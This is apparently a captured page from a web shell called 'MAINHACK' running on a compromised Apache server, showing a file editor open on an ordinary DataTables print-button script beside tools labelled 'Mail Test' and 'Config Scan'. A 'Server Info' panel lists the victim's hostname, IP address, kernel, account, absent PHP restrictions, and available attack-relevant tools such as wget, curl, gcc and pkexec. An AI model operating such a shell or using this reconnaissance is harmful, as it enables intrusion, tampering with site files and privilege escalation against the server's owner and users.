[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: buttons.print.min.mjs
/*! * Print button for Buttons and DataTables. * © SpryMedia Ltd - datatables.net/license */ import jQuery from"jquery";import DataTable from"datatables.net";import Buttons from"datatables.net-buttons";let $=jQuery;var _link=document.createElement("a"),_styleToAbs=function(t){t=$(t).clone()[0];return"link"===t.nodeName.toLowerCase()&&(t.href=_relToAbs(t.href)),t.outerHTML},_relToAbs=function(t){_link.href=t;t=_link.host;return-1===t.indexOf("/")&&0!==_link.pathname.indexOf("/")&&(t+="/"),_link.protocol+"//"+t+_link.pathname+_link.search};DataTable.ext.buttons.print={className:"buttons-print",text:function(t){return t.i18n("buttons.print","Print")},action:function(t,e,o,n){function r(t,e){for(var o="<tr>",n=0,r=t.length;n<r;n++){var i=null===t[n]||void 0===t[n]?"":t[n];o+="<"+e+" "+(s[n]?'class="'+s[n]+'"':"")+">"+i+"</"+e+">"}return o+"</tr>"}var i=e.buttons.exportData($.extend({decodeEntities:!1},n.exportOptions)),a=e.buttons.exportInfo(n),s=e.columns(n.exportOptions.columns).flatten().map(function(t){return e.settings()[0].aoColumns[e.column(t).index()].sClass}).toArray(),l='<table class="'+e.table().node().className+'">';n.header&&(l+="<thead>"+r(i.header,"th")+"</thead>"),l+="<tbody>";for(var u=0,d=i.body.length;u<d;u++)l+=r(i.body[u],"td");l+="</tbody>",n.footer&&i.footer&&(l+="<tfoot>"+r(i.footer,"th")+"</tfoot>"),l+="</table>";var c=window.open("","");if(c){c.document.close();var m="<title>"+a.title+"</title>";$("style, link").each(function(){m+=_styleToAbs(this)});try{c.document.head.innerHTML=m}catch(t){$(c.document.head).html(m)}c.document.body.innerHTML="<h1>"+a.title+"</h1><div>"+(a.messageTop||"")+"</div>"+l+"<div>"+(a.messageBottom||"")+"</div>",$(c.document.body).addClass("dt-print-view"),$("img",c.document.body).each(function(t,e){e.setAttribute("src",_relToAbs(e.getAttribute("src")))}),n.customize&&n.customize(c,n,e);function b(){n.autoPrint&&(c.print(),c.close())}navigator.userAgent.match(/Trident\/\d.\d/)?b():c.setTimeout(b,1e3)}else e.buttons.info(e.i18n("buttons.printErrorTitle","Unable to open print view"),e.i18n("buttons.printErrorMsg","Please allow popups in your browser for this site to be able to view the print view."),5e3)},title:"*",messageTop:"*",messageBottom:"*",exportOptions:{},header:!0,footer:!1,autoPrint:!0,customize:null};export default DataTable;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002